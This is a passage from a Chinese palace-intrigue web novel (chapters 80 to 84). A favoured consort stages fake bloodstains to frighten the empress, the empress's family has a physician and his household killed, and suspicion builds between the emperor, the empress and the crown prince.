敏感地察觉到皇帝心中的动摇,何皇后情急之下:“什么阿胶凝神汤?林太医上岁数,糊涂了!怎么给本宫开那些不痛不痒的药吃?根本不对症!” 说着,叫林太医进来。 老太医扑通一声跪下,白了脸。 他自然知道,皇后的脉象,就是夜间受了大惊吓,又兼心虚得厉害。 他为皇后安神,是对的。一点错处都没有。 可他怎么敢说? 他是何家安插在太医院的人,不敢说皇后一个字的不是。 只得频频磕头,“老朽没用,是、是老朽下错了方子,开错了药啊!” 一时间,坤宁宫寝殿静悄悄的,只有“砰、砰、砰”的磕头声。 血肉一下下撞在金砖上,不一会儿,就见了血迹。 第80章 皇帝对她没有底线 第八十章 皇帝对她没有底线 好半晌,皇帝才淡淡一句:“林太医,你老了。” 江澜因静静看着瞬间委顿下去的太医。 她与他打交道过两次,赏花宴那一次才真正确定了,他是皇后的人。 必须除掉。 顾辰枭:“你告老吧。” 只是不叫他再在太医院任职,没惩处他。 江澜因静静看了皇帝一眼,垂下眸子。 林太医顿首,“多谢皇上,多谢皇上!” 一场闹剧,以罚了太医院院判做收尾。何皇后毫发未伤。 还因手臂受伤,皇帝特许其弟何锋尧进宫探视,是无上的荣宠。 今夜,皇帝到底不曾宿在坤宁宫,又安抚了皇后几句,带着江澜因、黄玉珠去了。 自然是回翊坤宫。 一路上,江澜因一言不发。 到了翊坤宫中,她行礼,“皇上,嫔妾回去了。” 把皇帝推给黄玉珠。 黄玉珠面上喜色还未展露完全,顾辰枭:“贞贵嫔,朕有话要问你!” 江澜因停步,低垂着眼睫,不情不愿的。 看得顾辰枭拧眉,“你到底要跟朕闹到什么时候?” 江澜因声音平板板的,“嫔妾没有闹,嫔妾已经知道错了,往后再也不敢。” “知道错了?你说说,你哪里不对?” “回皇上的话,嫔妾是妃妾,不该心怀妒忌不容人。嫔妾往后都不会了。” 顾辰枭心间瞬间闪过苏忠远的那句, “妒忌……因为看重,在乎……” 他不愿承认,唇角刻意往下压了压,“知错就好,朕去你那看看,你的宫规抄得怎么样了。” 江澜因一滞。 她自然是…… 根本没抄。 没想到竟要被皇帝临时检查。 张了张口,还不及说什么。 黄玉珠:“皇上,嫔妾有一事不明。刚才事发突然,贞姐姐为何能早早儿出来候着?姐姐她,不是睡了吗?” 见皇帝要走,她已顾不上掩饰,拼命想留下。 “皇上,姐姐她刚才明明黑了灯,已睡下了……” 让顾辰枭想起,他想了那么多法子,叫人又唱又跳,却唤不出江澜因的恼怒、难堪来。 皇帝果然脚步一停,“因因,你刚才,可曾睡下?” 若答未睡,便是明知皇帝在西配殿,却不来请安。失礼,也会触怒皇帝。 若答睡下了,便要解释,为何皇后出事,江澜因的反应那么快。 出来时,身上的衣裳都是完好的。 江澜因:“回皇上的话,嫔妾刚才……未睡。” 这话一出,黄玉珠差点要笑出声来。 既然未睡,却装模作样熄灯,不肯来请安。皇帝至少要治她一个藐视君上的罪…… 念头尚未转完,听皇帝问道:“这么晚了,为何不睡?” “是啊,”黄玉珠趁热打铁,“姐姐既然未睡,为何不来给皇上请安?可是,心中还有些怨气,想不开?” 记恨君上,罪加一等。 顾辰枭面无表情,等着江澜因回答。 女孩睫毛微微一掀,如蝶翼,在月下闪烁微光,夺人心魄,又伴着点点水光。 “回皇上的话,嫔妾听着西配殿歌舞热闹,嫔妾睡不着。” 江澜因看了黄玉珠一眼,根本不掩饰神情中的不喜,“妹妹侍寝,太吵了。” 黄玉珠脸颊一下子涨红,“皇上,姐姐她……” “她心直口快,是无心的。” 顾辰枭截断黄玉珠的话,又道:“她年纪小,你计较她这些做什么?” 江澜因分位高,是以黄玉珠唤她姐姐,实际年龄比黄玉珠还小上两岁。 黄玉珠:…… 皇上护江澜因,没有底线吗? 明明是自己被晾了半宿,九五之尊的威严被人践踏,他不气吗? 说好的伴君如伴虎呢? 黄玉珠眼睁睁看着皇帝陪伴江澜因,回了正殿,气的一句话都说不出。 男人大手环在江澜因腰上,“因因,朕今日护着你,是全你的颜面。可做朕的妃嫔,本就不可妒忌,不可闹得后宫不宁。你知道吗?” 这话微微发沉,压在江澜因纤瘦的肩上。 江澜因抿了抿唇,“嫔妾知道。” “真的知道了?记住了?” 顾辰枭板着江澜因双肩,凝视她的眼睛。 江澜因眸光微闪,“皇上好容易陪嫔妾一会儿,嫔妾累了……” 她像小猫儿一样,蜷在顾辰枭腰腹间,说着话,困意更浓。 顾辰枭只觉一股子暖意,自心口蔓延上来。 他伸手揽住江澜因。罢了,那些大道理,往后再慢慢儿教她吧。 左右不过……是每个妃嫔都必须要学会的功课。迟一天早一天,有什么分别? 比了个手势,叫宫女吹熄了灯火,翊坤宫正殿沉入一片黑暗中。 皇帝安然闭上眼睛,没瞧见江澜因也对熄灯的春枝使了个眼神。 让春枝快寻人,连夜抄几章宫规,省得明日皇帝又想起来要看。 翊坤宫沉入一片静谧中。 第二日。 何锋尧禀过皇帝,进宫。 皇后召见他。 他见皇后小臂上敷着药贴,十分担忧:“妹妹这是怎么好?平白摔伤?是不是身边下人伺候不周?” 今日随侍何皇后的,都是何家送进来的陪嫁。 一贯最怕何锋尧威势。 闻言一起跪下。 何皇后:“不碍他们的事,确是本宫做了个噩梦。梦见了太子。” 提到顾言泽,何锋尧眉宇间凌厉也去了些,“言儿死得太惨,不怪皇后娘娘伤心难过,就是愚兄,每每想起,也觉揪心。” 何皇后唇角抽了抽,没说话。 素月忙道:“大将军,娘娘夜夜思念太子,哭得不行。可太子已经去了,娘娘膝下空悬,无人慰藉,苦不堪言。” 她窥着何锋尧脸色,“何不……想法子叫三殿下早日进京?娘娘三年没见过殿下了。” 何皇后也道:“本宫思念言儿,也想霖儿。大哥,你想想法子……” “我又何尝不想霖儿早日回京?是爹说再等等,勿要逼的太紧了。” “大哥,求你劝爹。本宫实在想霖儿,想我的孩子……”何皇后红了眼睛。 何锋尧动情:“皇后娘娘,愚兄知道,愚兄一定尽力。” 他的妹妹,养子死了,亲生儿子远隔千里,也太苦了些。 两人议定,何锋尧突然道:“愚兄听说,那林太医今日一早儿便被打发出了太医院。他要告老,没有用了。” 他语气轻描淡写:“他因什么事,触怒了皇上?” 何皇后神情微滞,“他上了年纪,竟给本宫开错了药,险些惹得皇上误会。”她顿了顿,终是心一横,“这样大的错处,这个人……留不得了。烦请大哥为本宫做主。” “知道了。” 何锋尧漫不经心,“犯了这样的大错,他的家人,自然也留不得。皇后娘娘放心。” 出宫后。 一回何府,下人就禀报:“……林太医在城门口,叫咱们的人拦住了。人已带来了,大将军可要问一问他?还是……直接处死?” 第81章 皇帝疑心皇后 第八十一章 皇帝疑心皇后 何锋尧皱眉。 在宫中时,他已觉得有些不对。 若说太医给皇后用错了药,该是死罪。皇帝难道就这么宽宥了他? 既是放出宫去,还让他告老,可见事情不大。 不像何皇后说的那样。 何皇后却要取他性命。这林太医也大清早就要出城,逃命一样,像是在隐瞒什么。 究竟是什么事儿,让何皇后连他这个亲大哥,都要瞒着? “把人带上来,问个清楚。” 半日后。 林太医被拖出书房,模样宛如一滩血泥,只剩下最后一口气。 何锋尧满面阴鸷,眼中隐隐翻涌着怒意。 这老太医招认出来,皇后娘娘最近各类安神药用得极多,确实是被惊吓后心虚、血虚。 是从太子死后开始的。 何皇后,到底在怕什么? “大将军,林太医怎么处置?” “没用了。”何锋尧冷冷一挥手,“都处理掉。” 要断送他一家子性命。 瘫在屋外的林太医,无力地转了转眼睛,眼底血泪横流。 有极致的后悔,也有…… 侥幸。 幸亏,他一早遣走了一名儿子的爱妾,那爱妾怀有身孕,身上还带着些别的东西…… 林太医嘶哑地笑出声来。 何家百年世家,在朝堂上一手遮天,自诩为天下典范。 要是…… 有人毒害亲姐,谋杀子侄的事情传了出去,他倒要看看,何家还能得意到几时!他就做了鬼,也要睁着两只眼睛看着,看着! 宫中,御书房。 乾六跪在地下:“皇上,林太医出宫仅一日就……他家中失火,一家老小二十几口,都没能活下来。” 顾辰枭手中朱笔一顿。 “什么人做的,可查到了?” “……说是吃热锅子,火油溅了出来。” 没有人为痕迹。 那便是……什么都没查到。 顾辰枭笑了一下。暗羽卫的能耐,他十分清楚。他们都查不出,可见…… 是世家的手笔。 “好狠的手段。” 皇帝一早放林太医出宫,就是想看看他与谁交接。 如今,虽没实证,却有猜测。对方的脸,已渐渐清晰。 顾辰枭低头,手中朱笔浸透了鲜红朱砂,像血。 皇帝面沉似水,“去把林太医的死讯,透露给皇后知道。” 乾六身形微微一震,“是!” 当夜,何皇后睡不好,频发噩梦。 终是挣扎着从床榻上坐起身,手臂伤处肿痛,太阳穴也似被人用小锤敲着,一跳一跳地痛。 昨夜,梦见太子。 今夜亦然,又加上了浑身是血的林太医。 何皇后一闭眼睛,就能看到他二人站在窗外,身后,还有好些人…… 她自幼被教得心狠手辣,却因小时候被惊吓过,落下心病,始终怕那些神头鬼脸的东西。 可昨夜,明显感觉到皇帝对自己生疑,何皇后如今不敢请僧道做法,也不敢再开安神汤。 她不敢合眼,十分难受。 素月被惊动:“皇后娘娘,奴婢去请皇上来吧。您是这几日太累了,身子虚,有皇上龙气镇着,应当无碍的。” 强势如何皇后,偶尔脆弱,也想要依赖。 她双手攥在一起,终是点了点头。 素月去了翊坤宫。 昨夜、今夜,皇上都歇在翊坤宫,正殿。 里面正灯火通明,传来轻轻的低语声。 正是那贞贵嫔的声音。 ——不要脸! 素月强压下心中不满,端起自己大宫女的姿态,跨进殿门。 “……皇后娘娘身上有伤,因疼,睡不好,辗转反侧。奴婢看着,实在心疼。求皇上去看看皇后娘娘。” 一席话说得不卑不亢。 是她这个做奴婢的看不过,来请皇上。不是皇后娘娘叫她来请的。 给何皇后留颜面。 江澜因看着,只觉好笑。 她一身玫瑰紫长袄,下配胭脂色褶裙,通身小女儿装束。 此刻正提着笔,坐在案边。 素月飞快扫了一眼。 是抄宫规。 皇上真的罚了这个不懂规矩的贱婢。 可,皇上在一旁陪着抄。 这,真是罚吗? ……真是个贱婢!从前勾引太子,现在勾引皇帝。 素月的思绪难以抑制地发散出去。 却听那贞贵嫔造作至极的声音响起:“皇上,就去看看皇后娘娘吧,娘娘只怕身上不好受,心里也不好受。” “不准妄议皇后,抄宫规要用心。” 皇帝如此说,声音却温和,没有一丝责备的意思。 “皇后是睡不下,还是又做噩梦,惊醒了?” “这……”素月脊背绷紧。 昨夜,皇上就因为皇后梦魇,起了疑。不可再加重这疑心。 素月:“回皇上的话,娘娘是因手上伤口痛,睡不下。不是……不是做噩梦。” 皇帝淡漠的目光在素月身上绕了一圈,没再说话。 晾了她好一会儿,才道:“朕去了,只怕惊扰皇后,她更不能安心睡下。你回去吧。” 竟是不去! 素月心中替皇后不值,飞快地瞪了江澜因一眼。都怪她,都怪这个贞贵嫔,勾引皇帝…… 下一刻,却听江澜因清脆的声音响起:“皇上该去看看皇后娘娘。” “怎么,连你也安排起朕来?” 江澜因放下笔,纤细的手指指着刚抄好的一行宫规,“上面写了,后宫该时时处处以皇后娘娘为尊,皇上该以身作则。” 顾辰枭愣了。 对上江澜因眼睛。小姑娘眼中闪过一丝狡黠,还带着掩不住的盈盈笑意。 这丫头…… 竟调侃自己这个皇帝! 当真大胆! “朕到底还是太纵着你了!”话是这般说,顾辰枭起身,“朕去看看皇后。” 素月大喜。 皇帝:“贞贵嫔也一起去。” 坤宁宫。 一早得了皇帝要来的消息,里里外外的灯都点亮了。 顾辰枭一步跨进皇后寝殿内,“皇后是还未睡下,还是惊醒了?” 何皇后今日有所准备,身上穿了外袍,头发也都收束起来。见江澜因跟着,她眉宇间飞快闪过一丝不悦,强压下去。 “臣妾……睡不着。” “林太医出宫去了,皇后用付太医吧。他的医术也是好的,安神方也是一绝。” 皇后唇角颤了颤,“回皇上的话,臣妾只是……手臂发疼,睡不着,不必安神。” 她不敢再提受惊吓的事,生怕皇帝觉得她心虚。 所幸顾辰枭并未再追问。 他一撩衣摆,坐下,与皇后闲话,语气温和。 何皇后心神渐渐松弛下来。 皇帝没有证据,太子的死,不会怀疑到她这个亲姨母身上……她做得很干净,都杀了,没人会说她的不是…… 何皇后借着皇帝看似心情不错时开口:“皇上,臣妾想念霖儿,咱们的霖儿……” 话未说完,只听得一旁的江澜因压抑的一声尖叫。 何皇后被惊吓,心脏好似被人揪了一下,瞬间憋闷发疼。她忍不住,厉声道:“贞贵嫔无礼!拖下去……” “皇上,血!” 江澜因一张精致的小脸煞白煞白,眼中都被吓出了泪水。 一头扑在顾辰枭怀中。 双手扎煞着举高,“皇上,皇上!皇后娘娘的窗棂上,有血!嫔妾好怕!” 第82章 皇帝怀疑的人是他 第八十二章 皇帝怀疑的人是他 “来人!” 顾辰枭脸色骤然一变,将江澜因紧紧护在怀中。 不顾她手上的脏污蹭到自己龙袍上。 一旁,何皇后心如擂鼓,愣愣地看着眼前的一切。 贞贵嫔白皙的一双爪子高高举着,掌心一片鲜红。是血……真的是血! 皇后心脏砰砰直跳。 不自觉中,她眼角也渗出泪水。 却见皇帝把贞贵嫔抱得很近,没有自己的位置。 眼睫剧烈颤抖,皇后脸颊微湿,她哭了。 侍卫涌进来护驾,一片忙乱。 好一会儿,江澜因才从顾辰枭怀中露头,“皇后娘娘窗棂处怎会有血?可是,有人受伤?” 她声音发颤,眼圈也红了,“皇上,嫔妾害怕。” “别怕。” 顾辰枭面色黑沉,声音却柔和,怕吓到江澜因。 他轻握着小姑娘纤细的腕子,举到眼前,旋即拧眉,“这不是血,没有腥气。” “不是血?”何皇后转脸,猛地看向江澜因,“谁许你大呼小叫,冲撞圣驾?皇上,贞贵嫔太没规矩了!” 顾辰枭看皇后一眼,“她也是担忧你。别说是她,便是朕,灯影里看着,也觉得像血。” 他又道:“皇后宫里,怎会有这东西?” 皇帝叫侍卫里里外外的查看。 坤宁宫几乎被翻了个遍。 何皇后脸色难看至极。皇帝这是……借机搜宫?所幸她处理的干净,岂会有什么证据大刺刺地留在自己宫里? 片刻后,乾六来报:“皇上,窗外也有些红色痕迹,留下了半片脚印。” 暗夜灯火照映下,像极了血。 皇帝面色黑沉。 何皇后更是惊骇莫名! 昨夜梦魇中,她就是梦见顾言泽浑身是血,站在窗外! 莫非,不是梦?是…… 是有人,要吓死她? “皇上……”何皇后颤巍巍开口,“是谁歹毒?这是要坑害臣妾想性命啊!” 说罢,她以袖掩面,抽泣出声。 皇帝没应皇后的话,伸手触碰窗棂,黏腻的液体染在指尖,格外刺目。 江澜因似真的吓到了,亦步亦趋跟在顾辰枭身后,一只手死死攥着他衣摆。 “皇上,是不是有人要害皇后娘娘?好怕人啊……” “是有人要吓唬皇后。”顾辰枭语气沉沉,“皇后乃朕的中宫,身上自该有浩然正气。怎会怕这些魑魅魍魉呢?” 皇帝的话说得冠冕堂皇。 皇后抽泣的声音停了一瞬,又更大。 皇帝这是在质疑她,为何害怕?是不是心虚?! 何皇后忍着心痛,“是臣妾被宵小迷住,失了皇后的体面,臣妾有罪。臣妾自会彻查……” 知道她胆小怕鬼,敢在她宫里这般作祟,用太子吓她…… 定是坤宁宫中的人。 何皇后暗自攥紧手指。 等她查出那人,定要灭他全族,方能解恨…… “不必了。”顾辰枭淡淡道:“皇后身子不好,又屡受惊吓。此事,还是朕来查吧。” “皇上……” 顾辰枭抬起手挥了挥,剪断何皇后未尽的话语,“俗话说不做亏心事,不怕鬼敲门,皇后好生歇着,朕走了。” 江澜因跟着告退。 这次,皇帝未回翊坤宫。 他去了东宫。 顾言泽果然还未睡下。 父子两个,自从在瑞福殿对峙后,还是第一次见面。 顾言泽跪下,“父皇不生儿臣的气了?” 皇帝却问了无关的话,“这么晚了,怎么还未睡?” “儿臣这几日,日日思过,睡不着……” “哦?”皇帝的声音,没有往常的温和慈爱,淡淡的,“思的什么过?可是,在想你的母后?” 顾言泽跪着,低着头,眸色一亮,又连忙掩住。 父皇这么说…… 是终于查到了何皇后身上? “父皇,儿臣……” 千言万语被顾辰枭一句话截断,“刚才,你出去过?” 淡淡一句话,顾言泽脊背都夹紧了。“父皇,儿臣不曾、不曾……” 皇帝审视的目光,扫过顾言泽沾着新鲜泥痕的靴边。 顾言泽拼命忍着把脚缩回衣摆下的冲动,“儿臣、儿臣是睡不着,在院中走走……” “思过思去了院子里。太子,你很好。” 语气更淡的一句话。 顾言泽却只觉千钧的重量压在肩上,他受不住,以额抵地,“父皇……” 看着爱子倒伏下去的脊背,顾辰枭终是叹了一口气:“言儿,你不必如此,不必去……疑心你母后。” 此言一出,顾言泽猛地瞪大眼睛,“儿臣不曾……儿臣岂敢啊?” 皇帝的指控简直太厉害了! 顾言泽知道何皇后害他,却不敢对顾辰枭直说,反而任他自己去查。就是……不愿先撕破脸,被人埋怨平白疑心抚养他长大的嫡母、姨母。 无论如何,给自己留后路,不承担骂名。 可皇帝这话,相当于说是自己这个太子引导皇帝去查皇后。 无论结果如何,太子先要被孝道压一头。 顾言泽如何甘心?他拼命辩驳。 顾辰枭却只问了他一句话,“既然没去坤宁宫,那么刚才,你做什么去了?” 顾言泽答不上来。 顾辰枭冷瞥了他一眼,“朕会为你讨一个公道。太子,你安分些。” 皇帝走后,东宫死一样寂静。 顾言泽在地上跪了许久,双手搁在膝头,抓皱了衣衫。 ……定是何皇后得到了信儿,试探他,冤枉他! 何皇后这个嫡母,当得真好! 他与她不共戴天! 翊坤宫中。 黄玉珠一直未睡。见江澜因是一个人回来的,幸灾乐祸几乎要挂在脸上。“姐姐怎么把皇上弄丢了?咱们是妃妾,到底比不得皇后娘娘……” 江澜因目不斜视,从她跟前走过,没多看她一眼。 黄玉珠气得跺脚,也只能眼睁睁看着江澜因回了正殿。 有人在等她。 见江澜因回来,两个小太监跪地磕头,“奴才小胖子、小瘦子给贞贵嫔娘娘请安。” 身材较胖的,手里抱着一团乱发。瘦些的那个,脚边放着一只铁桶,里面红色液体像极了血。 何皇后若是在此,只会觉得眼熟。 这两人都是坤宁宫最下等的洒扫太监。 连续两晚扮成太子,吓得何皇后不能安寝。 江澜因笑了:“你们好手段,从何处学来的?” 两个小太监对视一眼,小胖子开口:“奴才们入宫前在戏班子里讨生活,小瘦子给角儿勾脸,奴才负责提衣箱。日常里干的就是这样勾当。绣荷姐姐原跟奴才们是一处的。” “做的不错。事情了了,你们往后到翊坤宫伺候。” 两个小太监满脸喜色,“多谢娘娘。” 坤宁宫虽好,可管事的都是何家出来的人,他们弟兄二人挤破头也挤不到前头去。宁愿跟着江澜因这个宠妃,讨个好前程。 叮嘱二人小心,打发他们走后。 春枝掩上门窗,“皇上不许皇后查,也不知道皇后什么时候能疑心东宫……” 小姐说了,太子的日子过得太悠闲,太好了些。要给太子找些事做。 后宫闹起来,才有趣儿。 江澜因叫春枝把宫规收好,拿得远远儿的,一眼都不看。 “没人提点,皇后不会发现的。” 何皇后一向对自己的手段很有信心,绝对不会猜到太子还活着。 江澜因一笑,满室生春:“少不得,该咱们去提点提点皇后。” 第83章 皇帝是情深义重之人? 第八十三章 皇帝是情深义重之人? 第二日是个极晴好的天气,金灿灿的日光洒下来,照得人脸庞都暖融融的。 眼看着冬去春来。 江澜因抄完了宫规,今日该去皇后宫中请安。 何皇后今日穿了腰身、衣袖都极宽大的外袍,遮住她手上肿胀的小臂。脂粉却遮不住她微微泛白的唇色。 见到江澜因那张脸,何皇后的厌恶几乎摆在了脸上。 纯妃见状,只得先开口,“臣妾听闻,贤妃操持贞贵嫔的册封礼,处处都奢华、逾矩。是不是有些太过了?不过是个贵嫔,若往后封了妃……” 她猛地顿住口,不敢再说下去。 何皇后脸色却更难看了,“口不择言!纯妃,本宫看,二皇子不好,都是你教的!” 纯妃眼中极快地闪过一丝不忿,却什么都不敢说。 二皇子生来便痴傻。 是纯妃一生的痛处。 训斥了纯妃一句,又在心里骂她蠢,何皇后心中怨气未消。她又看向贤妃:“纯妃说得也不全错。贤妃,为了一个贵嫔,你做事,太过了些!” 贤妃依旧是一副人淡如菊的模样,“皇后娘娘教训得是。可臣妾都是请教过皇上的,皇上说可用,臣妾才敢用。” 暗讽何皇后不敢问责皇帝,只敢刁难她。 说罢,又对着江澜因极温柔地笑了笑,一副为她说话的样子。 实则是把何皇后的怒火,直接引到江澜因身上。 回想起昨夜江澜因闹出来的虚惊一场,何皇后果然脸色愈发黑沉,“贞贵嫔,你才入宫多少时日?这般不安分,夜夜都只知缠着皇上……” 这话粗鄙,何皇后强势惯了,只要不在皇帝跟前,什么话都张口就来。 江澜因没什么反应。 何皇后愈怒,“譬如说昨夜,皇上身心俱疲,你怎能非要缠着人去你的翊坤宫?真是不懂事,不知靖威侯怎么教的女儿!” 大多数宫嫔根本不知昨晚发生了什么事儿。 闻言都向江澜因看来。 江澜因起身,语气平淡:“皇后娘娘教训的是,请皇后娘娘责罚。” 何皇后:…… 后宫没有因嫔妃侍寝就惩罚的先例。 何皇后正绞尽脑汁想着怎么寻个借口罚她。 一旁,黄玉珠柔柔地含笑开口:“皇后娘娘误会贞姐姐了,昨夜,皇上并未与姐姐同归。姐姐她啊,只怕是枉担了受宠的虚名。” 打发走一众请安的妃嫔,何皇后向素月,“取皇上的起居注来看。” 上面果然记载,昨夜皇帝夜宿翊坤宫。 见何皇后皱眉沉思,素月道:“起居注都记了,想是皇上昨夜就是夜宿在那江氏处。黄贵人是扯谎。” 皇后想得更深一层,“扯谎的不是黄氏,只怕是……江澜因。” “可,为何?再说这起居注上记载……” 何皇后冷笑一声,“起居注算什么?皇上想改,还不是一句话的事?” 可,皇帝遮掩自己的行迹,昨夜从坤宁宫出来,到底是……去了何处? 昨夜的种种诡异之处重又浮上心头。何皇后脊背微微发紧,手指在广袖中攥起,“皇上不让本宫查昨夜之事,莫非是……圣心已自有决断?” 皇上知道吓唬自己的始作俑者,是谁? 甚至,此事本就是皇帝的试探? 头上的凤冠沉甸甸的,压得脑仁一阵阵发疼。何皇后忍不住用手撑着太阳穴,“去查!查查皇上昨夜从坤宁宫出去,到底去了何处!快去!” 小半日后,素月回来,附耳何皇后禀报:“……皇上是去了,东宫。” “东宫?” 何皇后拧眉,手指一下下地敲打桌沿,“太子已死,皇上深更半夜,去东宫做什么?” “依奴婢看,皇上昨夜,只怕是去……缅怀太子殿下。” 何皇后一愣,竟被说服。 她最清楚顾辰枭有多看重顾言泽这个太子,倾尽心血地培养。太子死了,皇帝被实实在在地伤了心。 前夜、昨夜,又接连折腾了两场,都让皇帝想到了太子。 若说孤身一人缅怀爱子……皇帝此举,倒也说得过。 至于起居注,不过是嫌麻烦,未改罢了。 闹了一场虚惊。 何皇后到底是自信自己的手段。她面上缓和了几分,“你去,传本宫的口谕下去,时近新春佳节,令各宫在出席前,各自抄往生经百遍,本宫焚化给太子。” 让宫妃们抄经,皇后焚化,功劳都归皇后。 素月:“娘娘聪慧,奴婢遵旨。” 口谕传到翊坤宫。 顾辰枭恰巧也在,听了皱眉,“怎么又想起折腾这等事?” 江澜因轻咳一声,掩住笑意。 她真没想到…… 让何皇后去查,她竟就查出了这么一个结果: 皇帝怀念太子! 故而想了这个法子,还想在皇帝跟前装维持她好嫡母的形象。 何芙从潜邸跟着顾辰枭,二十几年的相处,竟还会觉得,皇帝是个情深义重之人? 她难道不知,生在天家,什么父子之情,夫妻恩爱,都是假的? 这一刻,江澜因终于彻底看透了皇后。 何芙若不是出自何家,背后有第一等强悍的母族,这个皇后的位置,她根本坐不稳! 只是不知道……若是何家起了内讧,何皇后又会如何呢? 江澜因边想,边叫雪色:“准备纸笔来。” 声音闷闷的,不悦的情绪一点不藏。 顾辰枭伸手摸摸她头顶发旋儿。这小姑娘,自从进宫来,被自己娇宠得不成样子,有什么心事藏不住,都挂在脸上。 “因因往后不可如此,她是皇后,你要敬她。”话是这样说,皇帝一把拂去了雪色刚展好的雪白宣纸,“去回皇后,说是朕的话,不必抄经。” 开什么玩笑?那是百遍往生经。 从现在开始一直抄到除夕,日夜无休都未必抄得完。 再说,他的儿子也没死啊! 烧什么往生经?不晦气吗? 何皇后吃了个软钉子,愈发憋闷得心口发疼。 江澜因则是吩咐下去,再给坤宁宫的人,加些筹码。 很快,素月抱着一团东西,匆匆进了坤宁宫。 她脸色仓惶,“娘娘,奴婢留心,竟在东宫角门外面发现了这东西!您看了,千万别惊着。” 包裹皮展开。 何皇后心口猛地一悸。 眼前的,竟是一团乱发,发尾还沾着血一样的红痕! 这东西…… “好啊!” 何皇后一把将那东西摔在地上,气得眼前一阵阵发晕,“是东宫哪个不甘心的贱奴,竟吓唬本宫?本宫要她的九族,一个个都死在本宫眼前!” 第84章 皇帝一家子团圆? 第八十四章 皇帝一家子团圆? 盛怒之下,何皇后:“摆驾东宫!” “皇后,皇后娘娘!”素月有些慌,拦着,“几日前皇上便下旨修葺东宫,等闲不准人进出。如今东宫几处门都拦着,咱们进不去啊!” 也是因为这个,这几次探查,她都只能在东宫外面绕圈。 何皇后:“本宫是皇后!岂有人敢阻拦?” 之前,她还觉得皇帝修葺东宫是为了…… 迎接她的霖儿。 如今也都顾不得了,非要闯进去,探个究竟才好! 素月见拦不住,只得叫何家陪嫁进来的那些心腹跟着皇后,一同去往东宫。 此刻,暮色四垂。 昔日太子在时,东宫最是灯火辉煌。 如今,偌大的宫室,里面只点廖廖几盏灯,更显殿宇孤寂、衰败。 门口处有侍卫守着。 见到皇后仪仗,打头侍卫忙迎过来,“属下给皇后娘娘请安。前日皇上下旨,封了东宫修葺,只怕不便请娘娘入内,还请娘娘见谅。” 何皇后脸色黑沉,不语。 素月:“坤宁宫丢了一套翡翠头面,昨日在东宫门口发现其中一根玉簪。娘娘疑心,整套东西丢在了东宫,要进去找一找,你也敢拦?” “这……”侍卫面露难色,“不是属下拦皇后娘娘凤驾,是皇上有口谕,任何人不得入内。娘娘真丢了东西,不如禀过皇上知道,再来找?” “不过是小事,也要惊扰皇上,要你们何用?”素月高扬着下颌,“那套头面是皇后娘娘的爱物,若叫贼人毁了,你们吃罪不起!还不快让开?” 侍卫如何敢让? 两方正争执撕扯在一处。 何皇后眼尖,突见一道女子身影,在角门处一闪。 “什么人?”她厉声喝道,“只怕就是那贼!来人,给本宫擒住!” 坤宁宫下人和侍卫一起奔过去,不过片刻,便押了一个人过来。 推搡她,扑通一声,跪在皇后跟前。 那侍卫见果真抓到了人,忙道:“皇后娘娘不若带人回坤宁宫去审。在东宫门口闹起来,只怕伤了先太子的颜面。” 何皇后根本不在乎顾言泽的颜面。 对侍卫的话置若罔闻,何皇后向素月:“叫这贼人抬起脸来!” 那人却拼命挣扎,不肯抬头。 暮色越沉。 何皇后终于看清来人面容时,猛地瞪大眼睛,“怎会是你?” 不过瞬间,她想通了。 “啪!” 一记耳光,重重抽在那人脸上,打得她偏过头去,唇角渗血。 何皇后声音尖锐、发颤,“贱婢!竟是你嫉恨,三番两次惊吓本宫!” 她气得浑身发颤,“这次……这次本宫定不饶你!” 若逮住的是旁人,何皇后或还会迟疑。 可,竟然是她…… 所有蛛丝马迹都串联在一起,何皇后再不疑有他。她声音冷沉道:“就是这贱婢手脚不干净,拿了本宫的东西。把她带回坤宁宫,好好儿地审!” 说罢,将人堵住嘴,押着胳膊便要拖走。 “皇后娘娘,您这是……要干什么?” 一道清亮的女声自身后响起。 何皇后紧皱眉头,“贞贵嫔,谁给你的胆子,质问本宫?” 话音刚落,皇后发现身边下人跪了呼啦啦跪了一地。 她心口发沉。 果然听到顾辰枭泛着冷意的嗓音,“贞贵嫔的胆子,是朕给的。倒是你,皇后,在东宫门口闹些什么?你是皇后,你的体面呢?” 众人都跪下,江澜因瞧见委顿在地的女子,眸光微微一沉。 怎会是她? “邱嫔?” 顾辰枭也看见了,“你如何在此?” 邱嫔脸颊肿胀,浑身颤抖,看着楚楚可怜。 显然是当着皇后的面,什么都不敢说。 顾辰枭眉心直跳,“皇后,说话。” 事到如今,何皇后也是又惊又怒,她飞快整理了一下思绪,开口道: “臣妾连续多日梦到太子,心痛难抑,想来东宫拜祭。不想竟抓到邱嫔在此鬼鬼祟祟。” 素月见状,忙自怀中掏出那染了假血的头发。 “皇上,奴婢先发现了此物,后遇见了邱嫔。皇后娘娘只怕是有什么误会,才拦住邱嫔询问。不想她一见娘娘凤驾,也不请安,反是没命地跑。这里面,只怕有什么蹊跷……” 就差直接说: 是邱嫔扮鬼,吓唬皇后,被皇后捉到。 何皇后按着心口,眼中挤出几滴泪花,“皇上知道臣妾最是怕这些神头鬼脸的东西。这几日,是又惊怕,又伤悲,心口好似火煎一般。没想到,险些被人做局给害了……臣妾倒也想问邱嫔一句,这到底是怎么回事?” 说罢,滴下泪来。 所有人目光,集中在邱嫔身上。 江澜因站在人群中,静静地看向她,面沉似水。 她接到小胖子传讯,知道皇后奔东宫而来,这才不着痕迹地带皇帝来此。 助他一家子团圆。 没想到,竟是撞见了邱嫔。 会是巧合吗? 不,绝不是…… 江澜因微微拧眉,面上一派天真懵懂,心底却一阵阵发凉。 她不信巧合。这中间,必是有什么…… 顾辰枭的脸,转向邱嫔:“你说。” “嫔妾、嫔妾也只是和皇后娘娘一样,感怀太子殿下,没想到,平白就触怒了皇后娘娘……” 邱嫔柔弱,哭着道:“皇后娘娘说的那些,嫔妾根本听不懂。嫔妾也要问娘娘一句,到底是为何要对嫔妾动用私刑?这是为何?” 看她那副弱柳扶风的样子,何皇后眼中几乎要冒出火来。 她自以为人赃并获,根本不假思索:“你本是我何家的奴婢,伺候我姐姐的下人!本宫难道打不得你?” 邱嫔立刻道:“皇后娘娘,就算嫔妾曾经是奴婢,可现在已是皇上的妃妾!宫归大过何府家规!” 一句话,说到顾辰枭心里。 皇帝:“都住口!” 他扫了一眼素月手中的东西,立刻有御前太监过来,将那一团乱发从素月手中拿走。 皇帝知道,这只怕是…… 太子的东西。 太子疑心嫡母,就算他是情有可原。可做局的手段,也太粗糙了些! 皇帝:“皇后,朕说过,此事朕自会查。不必你插手。” 至于邱嫔…… 邱嫔一向老实,是皇后不喜欢她。 